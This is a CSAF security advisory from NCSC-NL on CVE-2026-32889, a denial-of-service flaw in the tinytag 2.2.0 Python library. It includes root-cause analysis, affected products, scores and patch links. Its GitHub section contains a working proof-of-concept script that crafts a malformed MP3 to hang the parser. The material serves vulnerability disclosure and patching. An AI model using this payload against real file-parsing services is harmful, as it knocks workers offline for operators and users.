{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-32889", "tracking": { "current_release_date": "2026-03-30T15:26:37.743034Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-32889", "initial_release_date": "2026-03-20T15:28:50.592179Z", "revision_history": [ { "date": "2026-03-20T15:28:50.592179Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-20T15:28:57.672959Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-20T18:24:05.539520Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-20T18:24:09.507885Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:24:37.863473Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-03-20T18:24:49.233045Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:41:12.447354Z", "number": "7", "summary": "References created (2)." }, { "date": "2026-03-20T21:59:24.655695Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-21T00:28:55.945743Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| Product Identifiers created (1).| References created (6).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-21T00:28:58.053375Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-21T03:38:55.386205Z", "number": "11", "summary": "Unknown change." }, { "date": "2026-03-30T15:25:33.187001Z", "number": "12", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-30T15:25:35.885736Z", "number": "13", "summary": "NCSC Score updated." } ], "status": "interim", "version": "13" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2524222", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_lightspeed" } } } ], "category": "product_name", "name": "OpenShift Lightspeed" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508255" } } ], "category": "product_name", "name": "lightspeed-service-api-rhel9" } ], "category": "product_family", "name": "OpenShift Lightspeed" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=2.2.0|<2.2.1", "product": { "name": "vers:unknown/>=2.2.0|<2.2.1", "product_id": "CSAFPID-5874316" } } ], "category": "product_name", "name": "tinytag" } ], "category": "vendor", "name": "tinytag" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.2.0", "product": { "name": "vers:unknown/2.2.0", "product_id": "CSAFPID-5965374", "product_identification_helper": { "cpe": "cpe:2.3:a:tinytag_project:tinytag:2.2.0:*:*:*:*:python:*:*" } } } ], "category": "product_name", "name": "tinytag" } ], "category": "vendor", "name": "tinytag_project" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-32889", "cwe": { "id": "CWE-835", "name": "Loop with Unreachable Exit Condition ('Infinite Loop')" }, "notes": [ { "category": "description", "text": "### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset < content_length:\n end_pos = self._find_string_end_pos(content, encoding, offset)\n value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n offset = end_pos\n time = unpack('>I', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -> bytes:\n id3_header = b\"ID3\" + bytes([3, 0, 0]) # ID3v2.3\n encoding = b\"\\x00\" # ISO-8859-1\n language = b\"eng\"\n timestamp_format = b\"\\x02\"\n content_type = b\"\\x01\"\n descriptor = b\"test\\x00\"\n lyrics_data = b\"A\" * 50 # no null terminator in the remaining SYLT payload\n frame_content = (\n encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n )\n frame = b\"SYLT\" + struct.pack(\">I\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n tag_size = len(frame)\n synchsafe = bytearray(4)\n n = tag_size\n for i in range(3, -1, -1):\n synchsafe[i] = n & 0x7F\n n >>= 7\n\n return (\n id3_header\n + bytes(synchsafe)\n + frame\n + b\"\\xff\\xfb\\x90\\x00\"\n + b\"\\x00\" * 413\n )\n\n\ndef timeout_handler(signum, frame) -> None:\n print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n signal.alarm(0)\n print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n raise\nexcept Exception as exc:\n signal.alarm(0)\n print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a", "title": "github - https://api.github.com/advisories/GHSA-f4rq-2259-hv29" }, { "category": "description", "text": "tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32889" }, { "category": "description", "text": "tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32889.json" }, { "category": "description", "text": "A flaw was found in tinytag, a Python library for reading audio file metadata. An attacker who can supply specially crafted MP3 files for parsing can trigger a non-terminating loop within the library. This can cause the parsing operation to stop making progress, leading to a Denial of Service (DoS) where the affected process becomes unresponsive until terminated.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-32889.json" }, { "category": "other", "text": "0.00043", "title": "EPSS" }, { "category": "other", "text": "4.0", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Redhat, There is product data available from source Redhat", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, The value of the most recent CVSS (V3) score", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5874316", "CSAFPID-1508255", "CSAFPID-2524222", "CSAFPID-5965374" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-f4rq-2259-hv29" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32889" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32889.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-32889.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-f4rq-2259-hv29" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a" }, { "category": "external", "summary": "Reference - github; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32889" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-32889" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-1508255", "CSAFPID-2524222", "CSAFPID-5874316", "CSAFPID-5965374" ] } ], "title": "CVE-2026-32889" } ] }